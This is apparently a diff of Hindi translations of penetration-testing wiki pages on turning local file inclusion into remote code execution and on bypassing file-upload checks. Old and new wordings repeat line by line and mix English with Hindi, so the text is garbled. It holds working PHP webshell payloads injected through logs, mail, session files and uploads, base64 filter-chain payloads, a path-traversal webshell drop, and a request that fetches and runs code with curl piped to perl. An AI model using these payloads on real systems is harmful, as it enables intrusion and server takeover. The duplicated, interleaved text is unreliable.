आम तौर पर exploit करने का workflow:
- किसी endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
- web-exposed directories पहचानें। सामान्य उदाहरण:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
- ऐसा traversal path बनाएं जो intended storage directory से निकलकर webroot में पहुँचे, और उसमें अपना webshell content शामिल करें।
- dropped payload पर ब्राउज़ करें और commands execute करें।
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
नोट्स:
- जो vulnerable service write करता है वह non-HTTP port पर सुन सकता है (उदा., एक JMF XML listener on TCP 4004). मुख्य web portal (अलग port) बाद में आपका payload serve करेगा।
- Java stacks पर, ये file writes अक्सर simple `File`/`Paths` concatenation के साथ implement होते हैं। canonicalisation/allow-listing का अभाव मुख्य कमजोरी है।
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -494,24 +467,24 @@ in.transferTo(out);
</JMF>
```
Hardening that defeats this class of bugs:
- canonical path पर रिज़ॉल्व करें और सुनिश्चित करें कि यह allow-listed base directory की सबडायरेक्टरी है
- किसी भी path को रिजेक्ट करें जिसमें `..`, absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
- writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।
- पाथ को canonical रूप में resolve करें और लागू करें कि यह किसी allow-listed बेस डायरेक्टरी का descendant ही हो
- किसी भी पाथ को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters शामिल हों; generated filenames को प्राथमिकता दें।
- writer को low-privileged account के रूप में चलाएँ और write डायरेक्टरीज़ को served roots से अलग रखें।
## Remote File Inclusion
पहले समझाया गया है, [**follow this link**](#remote-file-inclusion).
पहले समझाया गया है, [**इस लिंक का पालन करें**](#remote-file-inclusion).
### Apache/Nginx लॉग फ़ाइल के माध्यम से
### Via Apache/Nginx log file
यदि Apache या Nginx सर्वर include function के अंदर **vulnerable to LFI** है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फाइल को include करें
अगर Apache या Nginx सर्वर **vulnerable to LFI** है और include फ़ंक्शन के अंदर है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** में या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फाइल को include करें
> [!WARNING]
> ध्यान दें कि **if you use double quotes** shell के लिए **simple quotes** की बजाय, double quotes string "_**quote;**_" में बदल दिए जाएंगे, **PHP वहां एक error फेंकेगा** और **कुछ भी execute नहीं होगा**।
> ध्यान दें कि **अगर आप शेल में double quotes का उपयोग करते हैं** simple quotes के बजाय, double quotes स्ट्रिंग "_**quote;**_" के लिए बदल दिए जाएंगे, **PHP वहाँ एक error फेंकेगा** और **कुछ भी executed नहीं होगा**।
>
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरीके से लिखते हैं** वरना PHP हर बार लॉग फ़ाइल लोड करने की कोशिश में error देगा और आपको दूसरी अवसर नहीं मिलेगा।
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरीके से लिखते हैं** वरना PHP हर बार जब लॉग फाइल को लोड करने की कोशिश करेगा त्रुटि देगा और आपको दूसरा मौका नहीं मिलेगा।
यह अन्य लॉग्स में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग्स के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकती है। header **authorisation "basic"** में Base64 में "user:password" होता है और यह लॉग्स के अंदर decode हो जाता है। PHPShell को इस header के अंदर insert किया जा सकता है.\
यह अन्य लॉग्स में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग्स के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकती है। हेडर **authorisation "basic"** में Base64 में "user:password" शामिल होता है और यह लॉग्स के अंदर decoded होता है। PHPShell इस header के अंदर डाला जा सकता है.\
Other possible log paths:
```python
/var/log/apache2/access.log
@ -526,33 +499,33 @@ Other possible log paths:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### ईमेल के माध्यम से
### ईमेल के द्वारा
**एक मेल भेजें** किसी आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता के मेल को ऐसे पाथ से include करने की कोशिश करें: **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
**एक मेल भेजें** internal account (user@localhost) को जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता की मेल को शामिल करने की कोशिश करें जिस path की तरह **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
### Via /proc/\*/fd/\*
1. कई shells अपलोड करें (उदाहरण के लिए: 100)
2. इस URL को include करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रोसेस का PID (यह brute force किया जा सकता है) और $FD फाइल descriptor है (यह भी brute force किया जा सकता है)
1. कई shells अपलोड करें (उदाहरण: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रक्रिया का PID (can be brute forced) और $FD फाइल डिस्क्रिप्टर है (can be brute forced too)
### /proc/self/environ के माध्यम से
### /proc/self/environ के द्वारा
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें; यह /proc/self/environ फ़ाइल में परिलक्षित होगा
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### अपलोड के जरिए
यदि आप फ़ाइल अपलोड कर सकते हैं, तो उसमें बस shell payload inject कर दें (उदा.: `<?php system($_GET['c']); ?>` ).
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload इंजेक्ट कर दें (उदाहरण: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
फ़ाइल को पढ़ने योग्य बनाए रखने के लिए, सबसे अच्छा है कि चित्रों/doc/pdf के metadata में इंजेक्ट किया जाए
फ़ाइल को पढ़ने योग्य रखने के लिए, सबसे अच्छा है कि pictures/doc/pdf के metadata में inject किया जाए।
### ZIP फ़ाइल अपलोड के माध्यम से
### Via Zip fie upload
एक ZIP फ़ाइल अपलोड करें जिसमें संपीड़ित PHP shell हो और एक्सेस करें:
एक ZIP फ़ाइल अपलोड करें जिसमें compressed PHP shell शामिल हो और उसे access करें:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -563,131 +536,126 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में स्टोर होते हैं
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ फाइलों में सहेजे जाते हैं।
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
कुकी को `<?php system('cat /etc/passwd');?>` पर सेट करें
cookie को सेट करें: `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI का उपयोग करके PHP session फ़ाइल को शामिल करें
LFI का उपयोग करके PHP session फ़ाइल को include करें
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
यदि ssh सक्रिय है तो जाँचें कौन सा user उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने क
यदि ssh सक्रिय है, तो देखें कि किस उपयोगकर्ता का उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने का प्रयास करें
### **Via** **vsftpd** _**logs**_
### **द्वारा** **vsftpd** _**लॉग्स**_
FTP server vsftpd के logs _**/var/log/vsftpd.log**_ पर स्थित हैं। ऐसी स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद है और exposed vsftpd server तक पहुँच संभव है, निम्नलिखित कदम लागू किए जा सकते हैं:
FTP server vsftpd के logs _**/var/log/vsftpd.log**_ में स्थित होते हैं। ऐसी स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद हो, और एक्सपोज्ड vsftpd server तक पहुँच संभव हो, तो निम्नलिखित कदम अपनाए जा सकते हैं:
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload inject करें।
2. Injection के बाद, LFI का उपयोग करके सर्वर लॉग्स _**/var/log/vsftpd.log**_ प्राप्त करें।
1. लॉगिन प्रक्रिया के दौरान username field में PHP payload इंजेक्ट करें।
2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर logs को _**/var/log/vsftpd.log**_ से पुनः प्राप्त करें।
### Via php base64 filter (using base64)
### के माध्यम से php base64 filter (using base64)
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article में दिखाया गया है, PHP base64 filter सिर्फ Non-base64 को ignore कर देता है। आप इसका उपयोग file extension check bypass करने के लिए कर सकते हैं: अगर आप ऐसा base64 प्रदान करते हैं जो ".php" पर खत्म होता है, तो यह "." को अनदेखा कर देगा और base64 के साथ "php" जोड़ देगा। यहाँ एक उदाहरण payload है:
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension चेक को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण payload है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters के माध्यम से (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)समझाता है कि आप **php filters to generate arbitrary content** का उपयोग आउटपुट के रूप में कर सकते हैं। जिसका मूलतः अर्थ यह है कि आप include के लिए **generate arbitrary php code** कर सकते हैं **without needing to write** it into a file.
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains कि आप **php filters to generate arbitrary content** का उपयोग करके आउटपुट के रूप में arbitrary content generate कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए **arbitrary php code** generate कर सकते हैं बिना इसे किसी फ़ाइल में write किए।
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### segmentation fault के माध्यम से
एक फाइल अपलोड करें जो `/tmp` में temporary के रूप में स्टोर होगी, फिर उसी request में एक segmentation fault ट्रिगर करें, और तब temporary फाइल हटाई नहीं जाएगी और आप उसे खोज सकते हैं।
### Via segmentation fault
**Upload** करें एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **request** में एक **segmentation fault** ट्रिगर करें, और फिर वह **temporary file won't be deleted** होगी और आप उसे खोज सकते हैं।
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx temp file storage के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं और **Nginx** PHP के सामने चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
### Via Nginx temp file storage
यदि आपको **Local File Inclusion** मिला है और PHP के सामने **Nginx** चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं भले ही आपके पास **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, PHP आपके लिए **enable the session for you** करेगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
### Via PHP_SESSION_UPLOAD_PROGRESS
यदि आपको **Local File Inclusion** मिला है भले ही आपकी कोई **session न हो** और `session.auto_start` `Off` हो। अगर आप **multipart POST** डेटा में **`PHP_SESSION_UPLOAD_PROGRESS`** प्रदान करते हैं, तो PHP आपके लिए **session को enable कर देगा**। आप इसे abuse करके RCE हासिल कर सकते हैं:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows में temp file uploads के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं और सर्वर **Windows** पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:
### Via temp file uploads in Windows
यदि आपको **Local File Inclusion** मिला है और सर्वर **Windows** पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL args के माध्यम से
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` php docker images में डिफ़ॉल्ट रूप से मौजूद रहती है। इसके अलावा, स्क्रिप्ट को URL के माध्यम से arguments पास करना संभव है क्योंकि बताया गया है कि यदि किसी URL param में `=` नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखिए भी [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)।
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` php docker images में default रूप से मौजूद है। इसके अलावा, URL के माध्यम से स्क्रिप्ट को arguments पास करना possible है क्योंकि बताया गया है कि अगर किसी URL param में `=` नहीं है तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखें भी [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)।
निम्न request `/tmp/hello.php` में कंटेंट `<?=phpinfo()?>` वाली एक फ़ाइल बनाएगा:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (स्रोत: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo() के जरिए (file_uploads = on)
### Via phpinfo() (file_uploads = on)
यदि आपने **Local File Inclusion** पाया है और एक फाइल जो **phpinfo()** दिखाती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
अगर आप किसी सिस्टम में **Local File Inclusion** पाते हैं और कोई फ़ाइल जो **phpinfo()** दिखाती है और file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure के जरिए
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
यदि आपने **Local File Inclusion** पाया है और आप temp file का **can exfiltrate the path** कर सकते हैं, लेकिन **server** **checking** कर रहा है कि **file to be included has PHP marks**, तो आप इस **Race Condition** के साथ उस जांच को **bypass that check** करने की कोशिश कर सकते हैं:
यदि आप **Local File Inclusion** पाते हैं और आप टेम्प फ़ाइल का path exfiltrate कर सकते हैं, लेकिन **server** यह **checking** कर रहा है कि शामिल की जाने वाली फ़ाइल में PHP marks हैं या नहीं, तो आप इस **Race Condition** से उस जांच को **bypass** करने की कोशिश कर सकते हैं:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### eternal waiting + bruteforce के जरिए
### Via eternal waiting + bruteforce
यदि आप LFI का दुरुपयोग करके **upload temporary files** कर सकते हैं और server को PHP execution **hang** करवा सकते हैं, तो आप घंटों तक नामों को **brute force filenames during hours** करके temporary file ढूंढ सकते हैं:
यदि आप LFI का दुरुपयोग करके **upload temporary files** कर सकते हैं और server पर PHP निष्पादन को **hang** कर सकते हैं, तो फिर आप घंटों तक फ़ाइल-नामों को **brute force** करके अस्थायी फ़ाइल ढूंढ सकते हैं:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Fatal Error तक
### To Fatal Error
यदि आप किसी भी फ़ाइल को शामिल करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (उस त्रुटि को फेंकने के लिए आपको उसी one को 2 बार include करना होगा).
यदि आप किसी भी फ़ाइल को include करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`। (उस त्रुटि को उत्पन्न करने के लिए आपको उसी फ़ाइल को 2 बार include करने की आवश्यकता है).
**मुझे नहीं पता कि यह कैसे उपयोगी है पर हो सकता है।**\
_भले ही आप PHP Fatal Error पैदा कर दें, PHP द्वारा upload की गई temporary files हटा दी जाती हैं._
**मुझे नहीं पता कि यह कितना उपयोगी है पर हो सकता है।**\
_यहाँ तक कि यदि आप PHP Fatal Error उत्पन्न करते हैं, तो अपलोड की गई PHP अस्थायी फ़ाइलें हटा दी जाती हैं._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -5,36 +5,36 @@
## परिचय
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताती है कि आप **php filters to generate arbitrary content** का उपयोग करके आउटपुट के रूप में मनमाना कंटेंट जनरेट कर सकते हैं। इसका मूल अर्थ यह है कि आप **generate arbitrary php code** कर सकते हैं जिसे include के लिए उपयोग किया जा सके, और उसे किसी फ़ाइल में लिख की आवश्यकता नहीं होगी
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) समझाती है कि आप **php filters** का उपयोग आउटपुट के रूप में arbitrary content generate करने के लिए कर सकते हैं। जिसका मूल अर्थ यह है कि आप include के लिए arbitrary php code generate कर सकते हैं बिना उसे किसी फ़ाइल में लिखे।
स्क्रिप्ट का लक्ष्य यह है कि फ़ाइल की शुरुआत में एक **Base64** स्ट्रिंग जनरेट की जाए जिसे अंततः decode किया जाएगा और वह payload प्रदान करेगा जिसे `include` द्वारा interpret किया जाएगा।
बुनियादी विचार यह है कि स्क्रिप्ट फाइल की शुरुआत में एक **Base64** स्ट्रिंग generate करे जिसे अंत में decode किया जाएगा और यह desired payload प्रदान करेगा जिसे `include` द्वारा interpret किया जाएगा।
इसे करने के बुनियादी तत्व हैं:
इसे करने के लिए आधारभूत बातें:
- `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के आगे `\x1b$)C` prepend करेगा
- `convert.base64-decode` बहुत tolerant है, यह मूल रूप से उन कैरेक्टर को ignore कर देता है जो valid base64 नहीं हैं। यह कुछ समस्याएँ देता है अगर इसे unexpected "=" मिल जाएँ, लेकिन उन्हें `convert.iconv.UTF8.UTF7` filter से हटाया जा सकता है।
- `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के आगे `\x1b$)C` prepend करेगा
- `convert.base64-decode` बहुत ही tolerant है, यह मूलतः उन characters को ignore कर देगा जो valid base64 नहीं हैं। यह तब कुछ समस्याएँ दे सकता है जब यह unexpected "=" पाये, लेकिन उन्हें `convert.iconv.UTF8.UTF7` filter से हटाया जा सकता है।
मनमाना कंटेंट जनरेट करने का loop यह है:
arbitrary content generate करने का loop यह है:
1. ऊपर बताए अनुसार हमारे स्ट्रिंग के आगे `\x1b$)C` prepend करें
2. कुछ iconv conversions की chain apply करें जो हमारी initial base64 को अछूता छोड़ दे और हमने जो भाग अभी prepend किया है उसे ऐसी स्ट्रिंग में बदल दे जहाँ valid base64 कैरेक्टर सिर्फ़ हमारे अगले base64-encoded php कोड का हिस्सा हों
3. base64-decode और फिर base64-encode करें, जो बीच की किसी भी garbage को हटा देगा
4. अगर जिस base64 को हम बनाना चाहते हैं वह पूरा नहीं हुआ है तो चरण 1 पर वापस जाएँ
5. base64-decode करके हमारा php code प्राप्त करें
1. ऊपर बताए अनुसार हमारे string के आगे `\x1b$)C` prepend करें
2. iconv conversions की कुछ chain apply करें जो हमारी शुरुआती base64 को intact छोड़ दे और जिस भाग को हमने अभी prepend किया है उसे ऐसे string में convert कर दे जहाँ केवल valid base64 char ही हमारा अगला भाग हो हमारे base64-encoded php code का
3. string को base64-decode और फिर base64-encode करें जो बीच के किसी भी garbage को हटा देगा
4. अगर जिस base64 को हम construct करना चाहते हैं वह अभी पूरा नहीं हुआ है तो 1 पर वापस जाएँ
5. php code पाने के लिए base64-decode करें
> [!WARNING]
> **Includes** आमतौर पर फ़ाइल के अंत में **".php" जोड़ने** जैसी चीजें करते हैं, जो exploit को मुश्किल बना सकती हैं क्योंकि आपको ऐसी .php फ़ाइल खोजनी पड़ेगी जिसका कंटेंट exploit को न रोकता हो... या आप **php://temp** का उपयोग कर सकते हैं क्योंकि इसके नाम में कुछ भी appended हो सकता है (जैसे +".php") और यह फिर भी exploit को काम करने देगा!
> **Includes** सामान्यतः फाइल के अंत में **".php" जोड़ना** करते हैं, जो exploitation को कठिन बना सकता है क्योंकि आपको ऐसी .php फाइल ढूँढनी पड़ेगी जिसकी सामग्री exploit को न नष्ट करे... या आप बस `php://temp` को resource के रूप में उपयोग कर सकते हैं क्योंकि इसके नाम में कुछ भी appended किया जा सकता है (like +".php") और फिर भी exploit काम करेगा!
## परिणामी डेटा में suffixes कैसे जोड़े जाएँ
## परिणामस्वरूप data में suffixes भी कैसे जोड़े जाएँ
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे PHP filters का दुरुपयोग करके resulting string में suffixes जोड़ सकते हैं। यह तब उपयोगी है जब आउटपुट को किसी विशेष फॉर्मेट (जैसे json या शायद कुछ PNG magic bytes जोड़ना) में चाहिए।
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे PHP filters का पयोग करके resulting string में suffixes जोड़ सकते हैं। यह तब उपयोगी है जब आपको आउटपुट का कोई specific format चाहिए (जैसे json या शायद कुछ PNG magic bytes जोड़ना)
## Automatic Tools
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
## पूरा स्क्रिप्ट
```python
import requests
@ -94,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### सुधार
### Improvements
पिछला स्क्रिप्ट उस payload के लिए आवश्यक base64 वर्णों तक सीमित था। इसलिए, मैंने अपना स्क्रिप्ट बनाया ताकि **bruteforce all the base64 characters**:
पिछली स्क्रिप्ट उस payload के लिए आवश्यक base64 characters तक ही सीमित थी। इसलिए, मैंने अपनी खुद की स्क्रिप्ट बनाई ताकि **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -165,7 +165,7 @@ conversions = {
'=': ''
}
```
यहाँ प्रत्येक b64 अक्षर उत्पन्न करने वाली एन्कोडिंग प्राप्त करने के लिए **स्क्रिप्ट** है:
यहाँ प्रत्येक b64 अक्षर उत्पन्न करने वाले एन्कोडिंग प्राप्त करने के लिए **script** है:
```php
<?php

View File

@ -4,9 +4,9 @@
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
अन्य उपयोगी extensions:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
@ -15,13 +15,13 @@
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### फ़ाइल एक्सटेंशन्सेक बायपास करना
### फ़ाइल एक्सटेंशन जांच बायपास करना
1. यदि लागू हों, तो **पिछले एक्सटेंशन्स** की **जाँच** करें। इन्हें कुछ **अपरकेस अक्षरों** का उपयोग करके भी परखें: _pHp, .pHP5, .PhAr ..._
2. _जाँच करें कि क्या आप execution extension से पहले एक मान्य extension **जोड़कर** bypass कर सकते हैं (पिछले extensions का भी उपयोग करें):_
1. यदि लागू हों, तो **पहले बताए गए एक्सटेंशंस** की **जांच** करें। साथ ही कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
2. _चेक करें **वैध एक्सटेंशन के पहले एक वैध एक्सटेंशन जोड़ने** का (पहले बताए गए एक्सटेंशंस का भी उपयोग करें):_
- _file.png.php_
- _file.png.Php5_
3. अंत में **विशेष वर्ण** जोड़कर कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** वर्णों पर **bruteforce** कर सकते हैं। (_नोट कि आप पहले बताए गए **extensions** का भी उपयोग कर सकते हैं_)
3. अंत में **विशेष वर्ण जोड़ने** की कोशिश करें। आप Burp का उपयोग करके सभी **ASCII** और **Unicode** characters को **bruteforce** कर सकते हैं। (_ध्यान दें कि आप **पहले** बताए गए **extensions** का भी उपयोग कर सकते हैं_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. सर्वर-साइड के extension parser को **धोखा देकर** सुरक्षा को बायपास करने की कोशिश करें, जैसे **दोहराना** (doubling) या extensions के बीच **junk** डेटा (**null** bytes) जोड़ना। _आप बेहतर payload तैयार करने के लिए पहले बताए गए **extensions** का भी उपयोग कर सकते हैं।_
4. प्रोटेक्शंस को बायपास करने के लिए **server-side के extension parser को trick** करने की कोशिश करें, जैसे **extension को duplicate** करना या एक्सटेंशंस के बीच **junk data (null bytes)** डालना। _बेहतर payload तैयार करने के लिए आप **पहले बताए गए एक्सटेंशंस** का भी इस्तेमाल कर सकते हैं।_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. पिछले चेक में **एक और परत एक्सटेंशन्स** जोड़ें:
5. पिछले चेक में **एक और परत एक्सटेंशंस** जोड़कर देखें:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. कोशिश करें कि **exec extension को वैध extension से पहले** रखें और उम्मीद करें कि सर्वर misconfigured हो। (यह Apache misconfigurations का फायदा उठाने के लिए उपयोगी है जहाँ कुछ भी जिसकी extension .php हो, लेकिन जरूरी नहीं कि यह .php पर खत्म हो, को कोड execute करवा देता है):
